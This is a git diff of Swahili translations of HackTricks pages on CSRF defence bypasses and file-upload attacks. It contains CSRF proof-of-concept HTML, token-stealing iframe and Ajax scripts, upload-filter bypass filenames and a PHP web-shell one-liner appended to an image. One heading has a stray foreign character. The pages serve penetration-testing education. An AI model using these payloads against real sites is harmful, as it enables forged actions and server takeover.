|
||||
* [**SameSite cookies**](hacking-with-cookies/#samesite): Sifa hii inazuia kivinjari kutuma vidakuzi pamoja na maombi ya tovuti tofauti. [More about SameSite cookies](hacking-with-cookies/#samesite).
|
||||
* [**SameSite cookies**](hacking-with-cookies/#samesite): Sifa hii inazuia kivinjari kutuma kuki pamoja na maombi ya tovuti tofauti. [More about SameSite cookies](hacking-with-cookies/#samesite).
|
||||
* [**Cross-origin resource sharing**](cors-bypass.md): Sera ya CORS ya tovuti ya mwathirika inaweza kuathiri uwezekano wa shambulio, hasa ikiwa shambulio linahitaji kusoma jibu kutoka kwa tovuti ya mwathirika. [Learn about CORS bypass](cors-bypass.md).
|
||||
* **User Verification**: Kuuliza nenosiri la mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji.
|
||||
* **Checking Referrer or Origin Headers**: Kuthibitisha vichwa hivi kunaweza kusaidia kuhakikisha maombi yanatoka kwa vyanzo vinavyotegemewa. Hata hivyo, kuunda URL kwa uangalifu kunaweza kupita ukaguzi usiofaa, kama vile:
|
||||
|
@ -61,35 +61,35 @@ Hatua kadhaa za kinga zinaweza kutekelezwa ili kulinda dhidi ya mashambulizi ya
|
|||
* **Modifying Parameter Names**: Kubadilisha majina ya vigezo katika maombi ya POST au GET kunaweza kusaidia kuzuia mashambulizi ya kiotomatiki.
|
||||
* **CSRF Tokens**: Kuingiza tokeni ya kipekee ya CSRF katika kila kikao na kuhitaji tokeni hii katika maombi yanayofuata kunaweza kupunguza hatari ya CSRF kwa kiasi kikubwa. Ufanisi wa tokeni unaweza kuimarishwa kwa kutekeleza CORS.
|
||||
|
||||
Kuelewa na kutekeleza hizi kinga ni muhimu kwa kudumisha usalama na uadilifu wa programu za wavuti.
|
||||
Kuelewa na kutekeleza ulinzi huu ni muhimu kwa kudumisha usalama na uaminifu wa programu za wavuti.
|
||||
|
||||
## Defences Bypass
|
||||
|
||||
### From POST to GET
|
||||
|
||||
Labda fomu unayotaka kutumia vibaya imeandaliwa kutuma **POST request with a CSRF token but**, unapaswa **check** ikiwa **GET** pia ni **valid** na ikiwa unapowasilisha GET request **CSRF token bado inathibitishwa**.
|
||||
Labda fomu unayotaka kutumia inajiandaa kutuma **POST request with a CSRF token but**, unapaswa **kuangalia** ikiwa **GET** pia ni **halali** na ikiwa unapowasilisha GET request **CSRF token bado inathibitishwa**.
|
||||
|
||||
### Lack of token
|
||||
|
||||
Programu zinaweza kutekeleza mekanismu ya **validate tokens** wakati zinapokuwepo. Hata hivyo, udhaifu unatokea ikiwa uthibitishaji unakosolewa kabisa wakati token inakosekana. Washambuliaji wanaweza kutumia hii kwa **kuondoa parameter** inayobeba token, si tu thamani yake. Hii inawawezesha kupita mchakato wa uthibitishaji na kufanya shambulio la Cross-Site Request Forgery (CSRF) kwa ufanisi.
|
||||
Programu zinaweza kutekeleza mekanismu ya **kuhakiki tokeni** wakati zipo. Hata hivyo, udhaifu unatokea ikiwa uthibitishaji unakosekana kabisa wakati tokeni haipo. Washambuliaji wanaweza kutumia hili kwa **kuondoa parameter** inayobeba tokeni, si tu thamani yake. Hii inawawezesha kupita mchakato wa uthibitishaji na kufanya shambulio la Cross-Site Request Forgery (CSRF) kwa ufanisi.
|
||||
|
||||
### CSRF token is not tied to the user session
|
||||
|
||||
Programu **zisizofunga CSRF tokens kwa vikao vya mtumiaji** zina hatari kubwa ya **usalama**. Mifumo hii inathibitisha tokeni dhidi ya **global pool** badala ya kuhakikisha kila token inafungwa na kikao kinachoanzisha.
|
||||
Programu **zisizofunga tokeni za CSRF kwenye vikao vya mtumiaji** zina hatari kubwa ya **usalama**. Mifumo hii inathibitisha tokeni dhidi ya **hifadhi ya kimataifa** badala ya kuhakikisha kila tokeni inafungwa kwenye kikao kinachoanzisha.
|
||||
|
||||
Hapa kuna jinsi washambuliaji wanavyotumia hii:
|
||||
Hapa kuna jinsi washambuliaji wanavyotumia hili:
|
||||
|
||||
1. **Authenticate** kwa kutumia akaunti yao wenyewe.
|
||||
2. **Obtain a valid CSRF token** kutoka kwa global pool.
|
||||
2. **Obtain a valid CSRF token** kutoka kwenye hifadhi ya kimataifa.
|
||||
3. **Use this token** katika shambulio la CSRF dhidi ya mwathirika.
|
||||
|
||||
Udhaifu huu unawawezesha washambuliaji kufanya maombi yasiyoidhinishwa kwa niaba ya mwathirika, wakitumia **mkanika wa uthibitishaji wa tokeni** wa programu usiofaa.
|
||||
Udhaifu huu unawawezesha washambuliaji kufanya maombi yasiyoidhinishwa kwa niaba ya mwathirika, wakitumia **mchakato wa uthibitishaji wa tokeni** wa programu usiofaa.
|
||||
|
||||
### Method bypass
|
||||
|
||||
Ikiwa ombi linatumia "**weird**" **method**, angalia ikiwa **method** **override functionality** inafanya kazi. Kwa mfano, ikiwa inatumia **PUT** method unaweza kujaribu **kutumia POST** method na **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Ikiwa ombi linatumia **"weird"** **method**, angalia ikiwa **method** **override functionality** inafanya kazi. Kwa mfano, ikiwa inatumia **PUT** method unaweza kujaribu **kutumia POST** method na **kutuma**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Hii inaweza pia kufanya kazi kwa kutuma **\_method parameter ndani ya POST request** au kutumia **headers**:
|
||||
Hii inaweza pia kufanya kazi kwa kutuma **\_method parameter ndani ya ombi la POST** au kutumia **vichwa**:
|
||||
|
||||
* _X-HTTP-Method_
|
||||
* _X-HTTP-Method-Override_
|
||||
|
@ -97,18 +97,18 @@ Hii inaweza pia kufanya kazi kwa kutuma **\_method parameter ndani ya POST reque
|
|||
|
||||
### Custom header token bypass
|
||||
|
||||
Ikiwa ombi linaongeza **custom header** yenye **token** kwa ombi kama **CSRF protection method**, basi:
|
||||
Ikiwa ombi linaongeza **custom header** yenye **token** kwa ombi kama **njia ya ulinzi wa CSRF**, basi:
|
||||
|
||||
* Jaribu ombi bila **Customized Token na pia header.**
|
||||
* Jaribu ombi lenye **same length lakini token tofauti**.
|
||||
* Jaribu ombi lenye **urefu sawa lakini token tofauti**.
|
||||
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
Programu zinaweza kutekeleza ulinzi wa CSRF kwa kuiga tokeni katika vidakuzi na parameter ya ombi au kwa kuweka cookie ya CSRF na kuthibitisha ikiwa tokeni iliyotumwa kwenye backend inalingana na cookie. Programu inathibitisha maombi kwa kuangalia ikiwa tokeni katika parameter ya ombi inalingana na thamani katika cookie.
|
||||
Programu zinaweza kutekeleza ulinzi wa CSRF kwa kuiga tokeni katika kuki na parameter ya ombi au kwa kuweka kuki ya CSRF na kuthibitisha ikiwa tokeni iliyotumwa kwenye backend inalingana na kuki. Programu inathibitisha maombi kwa kuangalia ikiwa tokeni katika parameter ya ombi inalingana na thamani katika kuki.
|
||||
|
||||
Hata hivyo, mbinu hii ina udhaifu kwa mashambulizi ya CSRF ikiwa tovuti ina kasoro zinazomruhusu mshambuliaji kuweka cookie ya CSRF kwenye kivinjari cha mwathirika, kama vile udhaifu wa CRLF. Mshambuliaji anaweza kutumia hii kwa kupakia picha ya udanganyifu inayoweka cookie, ikifuatiwa na kuanzisha shambulio la CSRF.
|
||||
Hata hivyo, njia hii ina udhaifu kwa shambulio la CSRF ikiwa tovuti ina kasoro zinazomruhusu mshambuliaji kuweka kuki ya CSRF kwenye kivinjari cha mwathirika, kama vile udhaifu wa CRLF. Mshambuliaji anaweza kutumia hili kwa kupakia picha ya udanganyifu inayoweka kuki, ikifuatiwa na kuanzisha shambulio la CSRF.
|
||||
|
||||
Below is an example of how an attack could be structured:
|
||||
Hapa kuna mfano wa jinsi shambulio linaweza kuundwa:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
|
@ -125,18 +125,18 @@ Below is an example of how an attack could be structured:
|
|||
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Kumbuka kwamba ikiwa **csrf token inahusiana na cookie ya kikao, shambulio hili halitafanya kazi** kwa sababu utahitaji kuweka kikao cha mwathirika, na kwa hivyo utakuwa unajishambulia mwenyewe.
|
||||
Kumbuka kwamba ikiwa **csrf token inahusiana na session cookie hii shambulio halitafanya kazi** kwa sababu utahitaji kuweka mwathirika kwenye session yako, na kwa hivyo utakuwa unajishambulia mwenyewe.
|
||||
{% endhint %}
|
||||
|
||||
### Mabadiliko ya Aina ya Maudhui
|
||||
|
||||
Kulingana na [**hii**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), ili **kuepuka** maombi ya **preflight** kutumia njia ya **POST**, hizi ndizo thamani za Aina ya Maudhui zinazoruhusiwa:
|
||||
Kulingana na [**hii**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), ili **kuepuka** maombi ya **preflight** kutumia njia ya **POST** hizi ndizo thamani za Aina ya Maudhui zinazoruhusiwa:
|
||||
|
||||
* **`application/x-www-form-urlencoded`**
|
||||
* **`multipart/form-data`**
|
||||
* **`text/plain`**
|
||||
|
||||
Hata hivyo, kumbuka kwamba **mantiki ya seva inaweza kutofautiana** kulingana na **Aina ya Maudhui** iliyotumika, hivyo unapaswa kujaribu thamani zilizotajwa na nyingine kama **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
Hata hivyo, kumbuka kwamba **mantiki ya seva inaweza kutofautiana** kulingana na **Aina ya Maudhui** iliyotumika hivyo unapaswa kujaribu thamani zilizotajwa na nyingine kama **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Mfano (kutoka [hapa](https://brycec.me/posts/corctf\_2021\_challenges)) wa kutuma data ya JSON kama text/plain:
|
||||
```html
|
||||
|
@ -151,13 +151,13 @@ form.submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Kupita Maombi ya Preflight kwa Data ya JSON
|
||||
### Kupita Maombi ya Preflight kwa Takwimu za JSON
|
||||
|
||||
Wakati wa kujaribu kutuma data ya JSON kupitia ombi la POST, kutumia `Content-Type: application/json` katika fomu ya HTML si rahisi moja kwa moja. Vivyo hivyo, kutumia `XMLHttpRequest` kutuma aina hii ya maudhui huanzisha ombi la preflight. Hata hivyo, kuna mikakati ya kuweza kupita kikomo hiki na kuangalia ikiwa seva inashughulikia data ya JSON bila kujali Aina ya Maudhui:
|
||||
Wakati wa kujaribu kutuma takwimu za JSON kupitia ombi la POST, kutumia `Content-Type: application/json` katika fomu ya HTML si rahisi moja kwa moja. Vivyo hivyo, kutumia `XMLHttpRequest` kutuma aina hii ya maudhui huanzisha ombi la preflight. Hata hivyo, kuna mikakati ya kuweza kupita kikomo hiki na kuangalia ikiwa seva inashughulikia takwimu za JSON bila kujali Aina ya Maudhui:
|
||||
|
||||
1. **Tumia Aina Mbadala za Maudhui**: Tumia `Content-Type: text/plain` au `Content-Type: application/x-www-form-urlencoded` kwa kuweka `enctype="text/plain"` katika fomu. Njia hii inajaribu kuangalia ikiwa backend inatumia data bila kujali Aina ya Maudhui.
|
||||
2. **Badilisha Aina ya Maudhui**: Ili kuepuka ombi la preflight huku ukihakikisha seva inatambua maudhui kama JSON, unaweza kutuma data na `Content-Type: text/plain; application/json`. Hii haisababishi ombi la preflight lakini inaweza kushughulikiwa ipasavyo na seva ikiwa imewekwa kukubali `application/json`.
|
||||
3. **Matumizi ya Faili ya SWF Flash**: Njia isiyo ya kawaida lakini inayowezekana inahusisha kutumia faili ya SWF flash kupita vizuizi kama hivi. Kwa ufahamu wa kina wa mbinu hii, rejelea [hiki chapisho](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
1. **Tumia Aina Mbadala za Maudhui**: Tumia `Content-Type: text/plain` au `Content-Type: application/x-www-form-urlencoded` kwa kuweka `enctype="text/plain"` katika fomu. Njia hii inajaribu kuangalia ikiwa backend inatumia takwimu bila kujali Aina ya Maudhui.
|
||||
2. **Badilisha Aina ya Maudhui**: Ili kuepuka ombi la preflight huku ukihakikisha seva inatambua maudhui kama JSON, unaweza kutuma takwimu na `Content-Type: text/plain; application/json`. Hii haisababishi ombi la preflight lakini inaweza kushughulikiwa ipasavyo na seva ikiwa imewekwa kukubali `application/json`.
|
||||
3. **Matumizi ya Faili ya SWF Flash**: Njia isiyo ya kawaida lakini inayowezekana inahusisha kutumia faili ya SWF flash ili kupita vizuizi kama hivi. Kwa ufahamu wa kina wa mbinu hii, rejelea [hiki chapisho](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Kupita Ukaguzi wa Referrer / Origin
|
||||
|
||||
|
@ -196,9 +196,9 @@ document.forms[0].submit();
|
|||
```
|
||||
### **HEAD method bypass**
|
||||
|
||||
Sehemu ya kwanza ya [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) inaelezea kwamba [mwanzo wa Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), router imewekwa **kushughulikia maombi ya HEAD kama maombi ya GET** bila mwili wa jibu - njia ya kawaida ambayo si ya kipekee kwa Oak. Badala ya mpangilio maalum unaoshughulikia maombi ya HEAD, yanapewa tu **mpangilio wa GET lakini programu inatoa tu mwili wa jibu**.
|
||||
Sehemu ya kwanza ya [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) inaelezea kwamba [mwanzo wa Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), router imewekwa **kushughulikia maombi ya HEAD kama maombi ya GET** bila mwili wa jibu - suluhisho la kawaida ambalo haliko pekee kwa Oak. Badala ya mpangilio maalum unaoshughulikia maombi ya HEAD, yanapewa tu **mpangilio wa GET lakini programu inatoa tu mwili wa jibu**.
|
||||
|
||||
Hivyo, ikiwa ombi la GET linapunguzwa, unaweza tu **kutuma ombi la HEAD ambalo litashughulikiwa kama ombi la GET**.
|
||||
Hivyo, ikiwa ombi la GET linapunguziliwa mbali, unaweza tu **kutuma ombi la HEAD ambalo litashughulikiwa kama ombi la GET**.
|
||||
|
||||
## **Mifano ya Kutumia**
|
||||
|
||||
|
@ -265,7 +265,7 @@ document.forms[0].submit(); //Way 3 to autosubmit
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Omba POST ya fomu kupitia iframe
|
||||
### Fomu ya ombi la POST kupitia iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
|
@ -408,7 +408,7 @@ var GET_URL="http://google.com?param=VALUE"
|
|||
var POST_URL="http://google.com?param=VALUE"
|
||||
getTokenJS();
|
||||
```
|
||||
### **Kununua CSRF Token na kutuma ombi la Post kwa kutumia iframe, fomu na Ajax**
|
||||
### **K盗a CSRF Token na kutuma ombi la Post kwa kutumia iframe, fomu na Ajax**
|
||||
```html
|
||||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||||
<input type="text" name="username" value="AA">
|
||||
|
@ -446,7 +446,7 @@ document.forms[0].submit.click();
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### **Iibi token na utume kwa kutumia iframes 2**
|
||||
### **Kuwaibia token na kuwatumia kwa kutumia 2 iframes**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
|
@ -476,7 +476,7 @@ height="600" width="800"></iframe>
|
|||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTIibi CSRF token kwa Ajax na tuma posti na fomu**
|
||||
### **POSTIibi CSRF token kwa Ajax na kutuma posti na fomu**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
|
||||
|
@ -586,22 +586,22 @@ login(USER, line.strip())
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server kuwasiliana na hackers wenye uzoefu na wawindaji wa makosa!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server kuwasiliana na hackers wenye uzoefu na wawindaji wa bug bounty!
|
||||
|
||||
**Hacking Insights**\
|
||||
Shiriki na maudhui yanayochunguza msisimko na changamoto za hacking
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Baki na habari za hivi punde katika ulimwengu wa hacking kupitia habari na maarifa ya wakati halisi
|
||||
Endelea kuwa na habari za hivi punde katika ulimwengu wa hacking kupitia habari na maarifa ya wakati halisi
|
||||
|
||||
**Latest Announcements**\
|
||||
Baki na taarifa kuhusu makosa mapya yanayoanzishwa na masasisho muhimu ya jukwaa
|
||||
Baki na habari kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na uanze kushirikiana na hackers bora leo!
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -609,7 +609,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# File Upload
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,9 +15,9 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackiwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -50,7 +50,7 @@ Extensions nyingine muhimu:
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. Jaribu kupita ulinzi **kwa kudanganya parser ya extension** ya upande wa seva kwa mbinu kama **kuongeza** **extension** au **kuongeza data** za **junk** (**null** bytes) kati ya extensions. _Unaweza pia kutumia **extensions za awali** kuandaa payload bora._
|
||||
4. Jaribu kupita ulinzi **kwa kudanganya parser ya extension** ya upande wa seva kwa mbinu kama **kuongeza** **extension** au **kuongeza data** ya **junk** (**null** bytes) kati ya extensions. _Unaweza pia kutumia **extensions za awali** kuandaa payload bora._
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -62,7 +62,7 @@ Extensions nyingine muhimu:
|
|||
5. Ongeza **tabaka lingine la extensions** kwa ukaguzi wa awali:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Jaribu kuweka **exec extension kabla ya extension halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia ku exploit usanidi mbaya wa Apache ambapo chochote chenye extension\*\* _**.php**_**, lakini** si lazima kumalizika na .php\*\* kitatekeleza msimbo):
|
||||
6. Jaribu kuweka **exec extension kabla ya extension halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia exploit misconfigurations ya Apache ambapo chochote chenye extension\*\* _**.php**_**, lakini** si lazima kumalizika na .php\*\* itatekeleza msimbo):
|
||||
* _ex: file.php.png_
|
||||
7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya koloni “:” itaingizwa baada ya extension iliyokatazwa na kabla ya ile inayoruhusiwa. Kama matokeo, **faili tupu yenye extension iliyokatazwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia jina lake fupi. Mwelekeo wa “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya nukta baada ya mwelekeo huu inaweza pia kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”)
|
||||
8. Jaribu kuvunja mipaka ya jina la faili. Extension halali inakatwa. Na PHP mbaya inabaki. AAA<--SNIP-->AAA.php
|
||||
|
@ -88,23 +88,23 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Ikiwa **compression inaongezwa kwenye picha yako**, kwa mfano kwa kutumia maktaba za kawaida za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **PLTE chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
|
||||
* [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* Tovuti inaweza pia kuwa **ikiresize** **picha**, kwa kutumia mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
|
||||
* Tovuti inaweza pia kuwa **ikiunda** **picha**, kwa kutumia kwa mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
|
||||
* [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Mbinu nyingine ya kutengeneza payload ambayo **inadumu hata baada ya resizing ya picha**, kwa kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
|
||||
* Mbinu nyingine ya kutengeneza payload ambayo **inatunza wakati wa kupunguza picha**, kwa kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
|
||||
* [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
|
||||
* Tafuta udhaifu wa **kubadilisha** jina la faili iliyopakiwa tayari (kubadilisha extension).
|
||||
* Tafuta udhaifu wa **kurekebisha** faili iliyopakiwa tayari (kubadilisha extension).
|
||||
* Tafuta udhaifu wa **Local File Inclusion** kutekeleza backdoor.
|
||||
* **Kuweza kwa kufichua taarifa**:
|
||||
* **Kuweza Kuweka Taarifa**:
|
||||
1. Pakia **mara kadhaa** (na kwa **wakati mmoja**) faili **ile ile** yenye **jina lile lile**
|
||||
2. Pakia faili yenye **jina** la **faili** au **folder** ambayo **tayari ipo**
|
||||
3. Kupakia faili yenye **“.”, “..”, au “…” kama jina lake**. Kwa mfano, katika Apache katika **Windows**, ikiwa programu inaokoa faili zilizopakiwa katika saraka “/www/uploads/”, jina la “.” litaunda faili inayoitwa “uploads” katika saraka “/www/”.
|
||||
4. Pakia faili ambayo huenda isifutwe kwa urahisi kama **“…:.jpg”** katika **NTFS**. (Windows)
|
||||
3. Kupakia faili yenye **“.”, “..”, au “…” kama jina lake**. Kwa mfano, katika Apache katika **Windows**, ikiwa programu inahifadhi faili zilizopakiwa katika saraka “/www/uploads/”, jina la “.” litaunda faili inayoitwa “uploads” katika saraka “/www/”.
|
||||
4. Pakia faili ambayo huenda isiweze kufutwa kwa urahisi kama **“…:.jpg”** katika **NTFS**. (Windows)
|
||||
5. Pakia faili katika **Windows** yenye **herufi zisizo sahihi** kama `|<>*?”` katika jina lake. (Windows)
|
||||
6. Pakia faili katika **Windows** ukitumia **majina yaliyohifadhiwa** (**yaliyokatazwa**) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
|
||||
* Jaribu pia **kupakia executable** (.exe) au **.html** (isiyo na mashaka) ambayo **itakamilisha msimbo** wakati itakapofunguliwa kwa bahati mbaya na mwathirika.
|
||||
6. Pakia faili katika **Windows** kwa kutumia **majina yaliyohifadhiwa** (**yaliyokatazwa**) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
|
||||
* Jaribu pia **kupakia executable** (.exe) au **.html** (isiyo na mashaka) ambayo **itaendesha msimbo** wakati itakapofunguliwa kwa bahati mbaya na mwathirika.
|
||||
|
||||
### Special extension tricks
|
||||
|
||||
|
@ -113,11 +113,11 @@ Ikiwa unajaribu kupakia faili kwenye **seva ya ASP**, [angalia hila ya **.config
|
|||
|
||||
Faili za `.phar` ni kama `.jar` kwa java, lakini kwa php, na zinaweza **kutumika kama faili ya php** (kuitekeleza kwa php, au kuijumuisha ndani ya script...)
|
||||
|
||||
Extension ya `.inc` wakati mwingine hutumiwa kwa faili za php ambazo zinatumika tu **kuagiza faili**, hivyo, kwa wakati fulani, mtu anaweza kuwa amekubali **extension hii kutekelezwa**.
|
||||
Extension ya `.inc` wakati mwingine hutumiwa kwa faili za php ambazo zinatumika tu ku **ingiza faili**, hivyo, kwa wakati fulani, mtu anaweza kuwa amekubali **extension hii kutekelezwa**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **xml mpya \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Hivyo, kama ilivyotajwa katika picha ifuatayo, pakia faili ya XML kwenye `$JETTY_BASE/webapps/` na subiri shell!
|
||||
